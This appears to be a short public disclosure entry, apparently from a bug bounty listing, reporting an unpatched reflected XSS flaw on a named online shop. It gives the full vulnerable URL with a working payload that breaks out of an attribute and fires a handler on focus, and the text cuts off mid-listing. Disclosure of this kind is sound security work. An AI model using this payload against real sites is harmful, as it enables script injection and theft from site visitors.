shop.sommercable.com XSS vulnerability

Vulnerable URL: http://shop.sommercable.com/index.php?lang=0=search="' /Autofocus /Onfocus=confirmOPENBUGBOUNTY //KNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...